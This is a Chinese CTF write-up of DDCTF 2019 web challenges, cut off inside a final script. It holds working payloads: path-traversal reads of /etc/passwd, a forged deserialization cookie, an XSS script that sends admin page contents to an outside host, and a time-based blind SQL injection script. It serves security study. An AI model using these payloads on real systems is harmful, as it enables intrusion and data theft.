    <content type="html"><![CDATA[<blockquote><p>本文首发先知社区，文章链接：<a href="https://xz.aliyun.com/t/4862">https://xz.aliyun.com/t/4862</a></p></blockquote><p>最近打了打DDCTF，本来是无聊打算水一波。最后竟然做high了，硬肛了几天..<br>以下为本次比赛web题目的WriteUp:</p><span id="more"></span><h3 id="100pt-滴"><a href="#100pt-滴" class="headerlink" title="[100pt] 滴~"></a>[100pt] 滴~</h3><p>看到url疑似base64，尝试解密后发现加密规则如下。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">b64(b64(ascii2hex(filename)))</span><br></pre></td></tr></table></figure><p>于是可以自己构造，使其实现任意文件读取，首先先尝试&#x2F;etc&#x2F;passwd。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[plain] -&gt; ../../../../../../../etc/passwd</span><br><span class="line">[0] HEX -&gt; 2E2E2F2E2E2F2E2E2F2E2E2F2E2E2F2E2E2F2E2E2F6574632F706173737764</span><br><span class="line">[1] base64 -&gt; MkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGNjU3NDYzMkY3MDYxNzM3Mzc3NjQ=</span><br><span class="line">[2] base64 -&gt; TWtVeVJUSkdNa1V5UlRKR01rVXlSVEpHTWtVeVJUSkdNa1V5UlRKR01rVXlSVEpHTWtVeVJUSkdOalUzTkRZek1rWTNNRFl4TnpNM016YzNOalE9</span><br></pre></td></tr></table></figure><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014929-50947ba0-6202-1.png"></p><p>发现斜杠被过滤掉了。此时尝试读一下index.php源码。来看一下规则。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[plain] -&gt; index.php</span><br><span class="line">[2] base64 -&gt; TmprMlJUWTBOalUzT0RKRk56QTJPRGN3</span><br></pre></td></tr></table></figure><p>最终获取到源码如下。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014929-50be2e82-6202-1.png"></p><p>在这里，可以看到对对文件读取做了限制，想绕正则，是不存在的。此时打开预留hint看看，猜测可能是echo的问题？试了许久，还是放弃了。</p><p>过了几天，默默打开CSDN评论，还是看到一点有意思的东西的。最终发现出题人故意将hint放在practice.txt.swp</p><p>emm，贼迷的一题。然后提示flag!ddctf.php</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014929-50cac2c8-6202-1.png" alt="20190418155555180974149.png"></p><p>读源码，此时用config替代！号：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">~/D/D/web-di~ $ python a.py f1agconfigddctf.php</span><br><span class="line">[0] HEX -&gt; 66316167636F6E66696764646374662E706870</span><br><span class="line">[1] base64 -&gt;NjYzMTYxNjc2MzZGNkU2NjY5Njc2NDY0NjM3NDY2MkU3MDY4NzA=</span><br><span class="line">[2] base64 -&gt;TmpZek1UWXhOamMyTXpaR05rVTJOalk1TmpjMk5EWTBOak0zTkRZMk1rVTNNRFk0TnpBPQ==</span><br></pre></td></tr></table></figure><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014929-50e49324-6202-1.png" alt="20190418155555207812339.png"></p><p>然后直接构造就好了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">url: http://117.51.150.246/f1ag!ddctf.php</span><br><span class="line">get: ?uid=123&amp;k=php://input</span><br><span class="line">post: 123</span><br></pre></td></tr></table></figure><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014930-51054d8a-6202-1.png" alt="20190418155555220658207.png"></p><h3 id="130pt-签到题"><a href="#130pt-签到题" class="headerlink" title="[130pt] 签到题"></a>[130pt] 签到题</h3><p>很简单的一个代码审计题目。一开始有点脑洞，需要绕一下认证，不过也不难。</p><p>访问页面，会有一个登陆认证，此时分析流量数据，可以发现他向auth.php请求了一下，返回值刚好是没权限。也就是权限验证在这里，分析数据包，可以发现，请求头有一个username字段。尝试修改为admin，此时成功通过认证。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014930-5124034c-6202-1.png" alt="image.png"></p><p>然后返回了一个源码页面。此时进入分析源码阶段。源码不是太多，核心逻辑也很好懂，包括利用链的构造。</p><p>首先，分析源码，可以看到危险函数unserialize，以及file_get_contents。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014930-513f8f40-6202-1.png" alt="image.png"></p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014930-5154291e-6202-1.png" alt="image.png"></p><p>此时可以大概知道题目大体解题流程如下：</p><p>通过session反序列化 –&gt;创建Application对象–&gt; 控制path –&gt; getfalg</p><p>此时一步一步来。</p><p>分析代码，可以发现session这个变量，是由cookie传入的。此时经过签名校验，确定cookie不可更改。代码如下：</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014930-516d3512-6202-1.png" alt="image.png"></p><p>此时可以看到，签名规则是md5(eancrykey+session)，也就是说，我们要想获得cookie控制权，必须得到eancrykey。通读代码，分析eancrykey出现地点。最终发现两个可疑点</p><p>a) eancrykey存放目录为..&#x2F;config&#x2F;key.txt。</p><p>由于不在web目录且没有读文件的漏洞，此时攻击者不可获取。</p><p>b) 某处代码存在蜜汁调用。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014930-517bafde-6202-1.png" alt="image.png"></p><p>很明显，可以看出是主办方给的后门，但是怎么用呢？</p><p>sprintf函数，是格式化字符串用的函数。可以参考c语言的printf，只不过这里不会打印，而是返回格式化后的字符串。</p><p>此时可以分析一下逻辑。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># python 伪代码</span></span><br><span class="line"><span class="comment"># 别尝试执行，肯定执行不了</span></span><br><span class="line"></span><br><span class="line">data=<span class="string">&quot;Welcome my friend %s&quot;</span></span><br><span class="line">arr=[<span class="string">&#x27;eval&#x27;</span>,<span class="string">&#x27;key&#x27;</span>]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> arr:</span><br><span class="line">  data=sprintf(data,i)</span><br><span class="line">  <span class="built_in">print</span>(data)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出如下：</span></span><br><span class="line"><span class="comment"># Welcome my friend eval</span></span><br><span class="line"><span class="comment"># Welcome my friend eval</span></span><br></pre></td></tr></table></figure><p>此时问题来了，为什么会输出两次？因为在第一次格式化的时候，已经将eval填入data中，第二次格式化前的字符串为：Welcome my friend eval。此时没有%s占位，key也就无处可去了。</p><p>所以，此时我们将eval改成%s，遍可以成功打印出key。机智！</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014931-51b2449a-6202-1.png" alt="20190416155534646782674.png"></p><p>此时成功getkey。然后就可以愉快地伪造session了。</p><p>然后继续分析Application，我们该如何伪造session。此时，建议down下来Application.php，方便调试使用。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014931-51cdaece-6202-1.png" alt="image.png"></p><p>可以发现，代码中做了两层防护，来保证path的安全性。此时sanitizepath可以通过一个最经典的绕过—“双写” 来进行绕过。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">payload: ../</span><br><span class="line">双写后: ..././</span><br></pre></td></tr></table></figure><p>此时可以看出，在经过这个函数后，第二三四个字符将会被转为空。然后成功使..&#x2F;逃逸出来。</p><p>再看第二个限制了字符为18。此时我们可以通过..&#x2F;和.&#x2F;来进行绕过，不过，唯一缺点是，字符不能超过18个。</p><p>此时尝试读取&#x2F;etc&#x2F;passwd。计算其长度，为10。此时我们可以构造如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">/etc/../etc/passwd</span><br><span class="line">双写后:/etc/..././etc/passwd</span><br><span class="line">序列化后:O:11:&quot;Application&quot;:1:&#123;s:4:&quot;path&quot;;s:21:&quot;/etc/..././etc/passwd&quot;;&#125;</span><br><span class="line">按规则签名后:O%3a11%3a&quot;Application&quot;%3a1%3a&#123;s%3a4%3a&quot;path&quot;%3bs%3a21%3a&quot;/etc/..././etc/passwd&quot;%3b&#125;75c51ff78b04d77138ca58f797dedc0a;</span><br></pre></td></tr></table></figure><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014931-521160ec-6202-1.png" alt="20190418155552854552309.png"></p><p>此时可以看到成功读取了&#x2F;etc&#x2F;passwd。</p><p>最终在 ..&#x2F;config&#x2F;flag.txt读到flag，如下：</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014932-524a5c1c-6202-1.png" alt="20190418155552881549035.png"></p><p>  </p><h3 id="130pt-Upload-IMG"><a href="#130pt-Upload-IMG" class="headerlink" title="[130pt] Upload-IMG"></a>[130pt] Upload-IMG</h3><p>比较经典的一个题目了，绕过GD库，实现图片马。一般来说，搭配一个文件包含，简直是无敌的。在这里不多解释，直接上脚本了。</p><p><a href="https://github.com/BlackFan/jpg_payload">https://github.com/BlackFan/jpg_payload</a></p><blockquote><p>Usage: php jpg_payload.php &lt;jpg_name.jpg&gt;</p></blockquote><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014932-525bbc82-6202-1.png" alt="20190418155552900631607.png"></p><h3 id="140pt-homebrew-event-loop"><a href="#140pt-homebrew-event-loop" class="headerlink" title="[140pt] homebrew event loop"></a>[140pt] homebrew event loop</h3><p>这题给好评，思路超级棒！</p><p>先说一下题目：开局给你3块钱，让你买5个一元一个的钻石。从而得到flag。</p><p>上来可以拿到源码，首先分析源码。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># flag获取函数</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">FLAG</span>()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 以下三个函数负责对参数进行解析。</span></span><br><span class="line"><span class="comment"># 1. 添加log，并将参数加入队列</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">trigger_event</span>(<span class="params">event</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 工具函数，获取prefix与postfix之间的值</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_mid_str</span>(<span class="params">haystack, prefix, postfix=<span class="literal">None</span></span>):</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 从队列中取出函数，并分析后，进行执行。（稍后进行详细分析）</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">execute_event_loop</span>()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 网站入口点</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">entry_point</span>()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 页面渲染，三个页面:index/shop/reset</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">view_handler</span>()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 下载源码</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">index_handler</span>(<span class="params">args</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 增加钻石</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">buy_handler</span>(<span class="params">args</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 计算价钱，进行减钱</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">consume_point_function</span>(<span class="params">args</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出flag</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show_flag_function</span>(<span class="params">args</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_flag_handler</span>(<span class="params">args</span>)</span><br></pre></td></tr></table></figure><p>源码大概意思如上，可以看出大概流程。然后仔细分析，可以发现在购买逻辑中。先调用增加钻石，再调用计算价钱的。也就是先货后款。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014932-527b68b6-6202-1.png" alt="20190413155516130320917.png"></p><p>现实生活中，肯定没毛病，但是在计算机中，会不会出现先给了货后，无法扣款，然后货被拿跑了。此时继续往下看，发现consume_point_function函数中，当钱不够时，会抛出一个RollBackException。此时，在逻辑处理函数execute_event_loop中，会捕获这个异常，并将现有状态置为上一session状态。如下：</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014932-528ee7b0-6202-1.png" alt="image.png"></p><p>此时，天真的我，想起了条件竞争，如果我够快的话，会不会让他加几个钻石，重置session时，重置到已经加完的。</p><p>但此时，仔细分析代码，以及flask的特性，你会发现一件事，他的状态并非是基于服务端session，而是客户端session，此时不应该叫他session了，叫cookie更合适一点。也就是，所有的状态都存在客户端。你竞争的话，他的session是单线程的。我必须操作完上一状态，才可以操作下一状态。</p><p>此时，条件竞争凉凉。</p><p>那既然状态是在客户端，那我可不可以修改？答案是可以。但是你得需要知道flask的secret_key。然后从而伪造cookie，此时我们无法伪造。思路继续断掉。继续分析代码。</p><p>仔细分析execute_event_loop，会发现里面有一个eval函数。无论在什么语言中，eval可控， 必定是一个灾难。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014932-52b1bf06-6202-1.png" alt="image.png"></p><p>此时 action使我们可控的，但是由于白名单过滤的存在，我们可控的范围较小。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014933-52d17ca6-6202-1.png" alt="image.png"></p><p>此时，我们可控点为eval前面对的action部分，于是后面的脏字符，我们可以通过#去注释掉。（p.s.用的时候请url编码为%23）</p><p>但是由于白名单限制，我们无法做一些操作。所以只能依靠其本身的作用 – 动态执行函数。</p><p>此时action，即需要执行的函数名，args，执行函数的参数。这两个都在我们可控范围。</p><p>尝试构造如下payload：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?action:show_flag_function%23;123</span><br></pre></td></tr></table></figure><p>此时，成功返回：</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014933-52ee491c-6202-1.png" alt="20190413155516526743131.png"></p><p>果然，我是最天真的那个崽。</p><p>但此时也证明了我们思路的可行性，此时我们只需要找一个函数，可以给其传一个参数的那种。进而getflag。</p><p>（p.s. flag函数无参数，所以我们无法直接执行。）</p><p>找啊找啊找朋友，一天过去了，又一天快要过去了… 代码都快会背了….</p><p>最终功夫不负有心人，终于发现一个神奇的地方。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014933-53004d92-6202-1.png" alt="20190413155516540449537.png"></p><p>第144行，trigger_event函数中，他传入了两个功能。然后回想代码，可以发现前面对各个函数执行，是通过execute_event_loop来对队列里的任务进行执行的。trigger_event正是那个添加任务到队列中的函数，此时该函数我们可控。</p><p>再想到之前的条件竞争，我们可以在内部构造一个竞争？对的，可以的，但是此时不配称之为竞争了。</p><p>首先我们看一下我们购买的正常逻辑。</p><p>此时，由于其先进先出的原因，我们可以一开始就传入两个参数，如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?action:trigger_event%23;action:buy;111%23action:get_flag;</span><br></pre></td></tr></table></figure><p>此时传入一个buy和getfalg。我们再看一下逻辑。这样成功实现了，没钱买东西。</p><p>此时，问题来了，即便我们够了5个钻石，此时也获取不到flag。</p><p>因为他将打印flag的语句注释掉了。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014933-5323353c-6202-1.png" alt="2019041315551617756239.png"></p><p>可以看图片155行，此时return的为“天真的孩子”。那这样的话，是不是这题就没法解了？</p><p>肯定能解啊，怎么可能不能解。</p><p>此时仔细看165行，发现了什么？他是将flag作为参数传到show_flag的。别忘了，trigger_event是有log功能的，也就是此时flag会加进log里的。虽然log是在session中，但是，此时flask的特性，我们之前已经说过了。session是在本地的。虽然不能伪造，但是我们还是通过工具解开，查看内容的。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014933-535036fe-6202-1.png" alt="20190413155516616949593.png"></p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014934-536aa9bc-6202-1.png" alt="20190413155516621987237.png"></p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014934-537ca694-6202-1.png" alt="20190413155516626378085.png"></p><h3 id="200pt-欢迎报名DDCTF"><a href="#200pt-欢迎报名DDCTF" class="headerlink" title="[200pt] 欢迎报名DDCTF"></a>[200pt] 欢迎报名DDCTF</h3><p>emm,感觉这题应该比吃鸡分高的。这道题，感觉比较偏实战渗透。不过作为ctf题目来说，的确有点脑洞了。因为大部分同学没往实战上想。</p><p>首先第一步：XSS</p><p>说实话，一开始拿到这题第一反应是注入。瞎注了半天。最后无疾而终。</p><p>知道hint出来，竟然是我最喜欢的xss，然后就做了。做到后面，已经拿到接口了，也尝试了注入，然而又没卵用。</p><p>第二步：注入</p><p>主办方不放hint是注入的话。这题我就不打算做了。实在get不到点。还是太菜了、</p><p>——以下正文——</p><p>xss读文件，很基础。发现waf了iframe和window。在es6新语法中，很好绕的。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">s</span>(<span class="params">e</span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> t = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>;</span><br><span class="line">  t.<span class="title function_">open</span>(<span class="string">&quot;POST&quot;</span>, <span class="string">&quot;//eval:2017&quot;</span>, !<span class="number">0</span>),</span><br><span class="line">  t.<span class="title function_">setRequestHeader</span>(<span class="string">&quot;Content-type&quot;</span>, <span class="string">&quot;text/plain&quot;</span>),</span><br><span class="line">  t.<span class="property">onreadystatechange</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="number">4</span> == t.<span class="property">readyState</span> &amp;&amp; t.<span class="property">status</span></span><br><span class="line">  &#125;,</span><br><span class="line">  t.<span class="title function_">send</span>(e);</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> a = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&quot;ifr&quot;</span>+<span class="string">&quot;ame&quot;</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">a.<span class="property">src</span> = <span class="string">&quot;./admin.php&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable language_">document</span>.<span class="property">body</span>.<span class="title function_">appendChild</span>(a);</span><br><span class="line">a.<span class="property">onload</span> = <span class="keyword">function</span> (<span class="params"></span>)&#123;</span><br><span class="line">  <span class="keyword">var</span> c = <span class="variable language_">document</span>.<span class="title function_">getElementsByTagName</span>(<span class="string">&quot;ifr&quot;</span>+<span class="string">&quot;ame&quot;</span>)[<span class="number">0</span>][<span class="string">&quot;contentWin&quot;</span>+<span class="string">&quot;dow&quot;</span>].<span class="property">document</span>.<span class="title function_">getElementsByTagName</span>(<span class="string">&quot;body&quot;</span>)[<span class="number">0</span>].<span class="property">innerHTML</span>;</span><br><span class="line">  <span class="title function_">s</span>(<span class="string">&quot;5am3: &quot;</span>+c);</span><br><span class="line">&#125;;</span><br><span class="line">a.<span class="property">onerror</span> = <span class="keyword">function</span> (<span class="params"></span>)&#123;</span><br><span class="line">    <span class="title function_">s</span>(<span class="string">&quot;5am3 error!&quot;</span>);</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>这里还有一个坑点是，渲染payload是在admin.php，此时如果读当前页面源码，返回的是你的payload。必须再次通过iframe读取admin.php，才能获取到本来的源码。</p><p>从源码中，可以得到一个接口：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=</span><br></pre></td></tr></table></figure><p>这就是传说中的注入点！！！要不是主办方肯定他是，我都不敢信…</p><p>最后终于通过宽字节注入，试出了点眉目。</p><p>p.s.注入过程真心迷，不跑5遍以上脚本，读不出来正确的东西</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://117.51.147.2/Ze02pQYLf5gGNyMn//query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=&#123;payload&#125;&quot;</span></span><br><span class="line"></span><br><span class="line">sdb =<span class="string">&quot;SELECT database()&quot;</span></span><br><span class="line">sdbt = <span class="string">&quot;database()&quot;</span></span><br><span class="line"></span><br><span class="line">sschema = <span class="string">&quot;SELECT group_concat(schema_name) from information_schema.SCHEMATA&quot;</span></span><br><span class="line">stable = <span class="string">&quot;SELECT group_concat(table_name) from information_schema.tables where table_schema=CHAR(99,116,102,100,98)&quot;</span></span><br><span class="line">scolumn = <span class="string">&quot;SELECT group_concat(column_name) from information_schema.columns where table_name=CHAR(99,116,102,95,102,104,109,72,82,80,76,53)&quot;</span></span><br><span class="line">sflag = <span class="string">&quot;SELECT group_concat(ctf_value) from ctfdb.ctf_fhmHRPL5&quot;</span></span><br><span class="line"> </span><br><span class="line"></span><br><span class="line">script = sflag</span><br><span class="line">charIndex = <span class="number">1</span></span><br><span class="line"></span><br><span class="line">p1 = <span class="string">&quot;1%df%27 || if(ascii(substr((&quot;</span>+script+<span class="string">&quot;),&#123;charIndex&#125;,1))=&#123;i&#125;,sleep(100),5)%23&quot;</span></span><br><span class="line">plendatabase = <span class="string">&quot;1%df%27 || if(length(database())=&#123;i&#125;,sleep(100),5)%23&quot;</span></span><br><span class="line">ptest = <span class="string">&quot;1%df%27 || sleep(5)%23&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># len(database) = 3</span></span><br><span class="line"><span class="comment"># database() = say</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># schema = information_schema,ctfdb,say</span></span><br><span class="line"><span class="comment"># table = ctf_fhmHRPL5</span></span><br><span class="line"><span class="comment"># colum = ctf_value</span></span><br><span class="line"><span class="comment"># DDCTF&#123;GqFzOt8PcoksRg66fEe4xVBQZwp3jWJS&#125;</span></span><br><span class="line"></span><br><span class="line">string = <span class="string">&quot;qwertyuiopasdfghjklzxcvbnm&quot;</span></span><br><span class="line">str1=<span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">slist = <span class="built_in">range</span>(<span class="number">33</span>,<span class="number">97</span>)</span><br><span class="line">slist += <span class="built_in">range</span>(<span class="number">123</span>,<span class="number">127</span>)</span><br><span class="line">flag=<span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">onpayload = p1</span><br><span class="line"><span class="comment"># print slist</span></span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">50</span>):</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">32</span>,<span class="number">127</span>):</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line"><span class="comment"># i = str(hex(i))</span></span><br><span class="line">i = <span class="built_in">str</span>(i)</span><br><span class="line">payload = onpayload.replace(<span class="string">&quot;&#123;i&#125;&quot;</span>,i).replace(<span class="string">&quot;&#123;charIndex&#125;&quot;</span>,<span class="built_in">str</span>(j))</span><br><span class="line">r = requests.get(url+payload,timeout=<span class="number">3</span>)</span><br><span class="line">text = r.text.replace(<span class="string">&quot;\n&quot;</span>,<span class="string">&quot;&quot;</span>)</span><br><span class="line">text = text.replace(<span class="string">&quot;\r&quot;</span>,<span class="string">&quot;&quot;</span>)</span><br><span class="line">text = text.replace(<span class="string">&quot;\t&quot;</span>,<span class="string">&quot;&quot;</span>)</span><br><span class="line"><span class="comment"># print(&quot;[&quot;+str(i)+&quot;]&quot; + payload)</span></span><br><span class="line"><span class="comment"># print(&quot;[text] &quot; + text[:10])</span></span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">flag+=<span class="built_in">chr</span>(<span class="built_in">int</span>(i))</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="210pt-大吉大利，今晚吃鸡"><a href="#210pt-大吉大利，今晚吃鸡" class="headerlink" title="[210pt] 大吉大利，今晚吃鸡"></a>[210pt] 大吉大利，今晚吃鸡</h3><p>很迷很尬的一道题，最后小手段才做出来。</p><p>首先，很容易可以看出来，是一个go写的。</p><p>而且买票时，票价只可以多 ，不可以少。此时可以猜到是溢出，从而实现购买。</p><p>可以看一下，go中的数字范围。然后天真的从大往小试。最终卡在了以下俩数。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">9223372036854775807   // 可以输入，显示正常</span><br><span class="line">9223372036854775808   // 报500，无法输入</span><br></pre></td></tr></table></figure><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014934-53a0ab20-6202-1.png" alt="20190413155515397624591.png"></p><p>于是自己天真的认为 ，题目对溢出做了判断，然后就凉了。蜜汁分析了半天。</p><p>最后再注册处发现一个越权漏洞。每次注册，无论成功与否，都会返回注册用户的cookie，此时可以直接登录。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014934-53c23aec-6202-1.png" alt="20190413155515437376035.png"></p><p>于是看了一下榜单，挨个试了一下榜单师傅们的id。</p><p>最后还真找到了rmb122师傅的账号，然后发现他用的4294967296溢出。也就是uint32</p><p>心态炸了。竟然不是uint64，自己也没试uint32。哭了。</p><p>此时通过溢出，可以直接购票。然后我们进入下一关，如何删除竞争对手。一说到游戏，顿时想起了“白导”。我自己也导演一场呗。</p><p>于是，新建账号 -&gt; 买票 -&gt; 付款 -&gt; 加入游戏 -&gt; 获取id踢掉。一条龙服务。脚本如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span 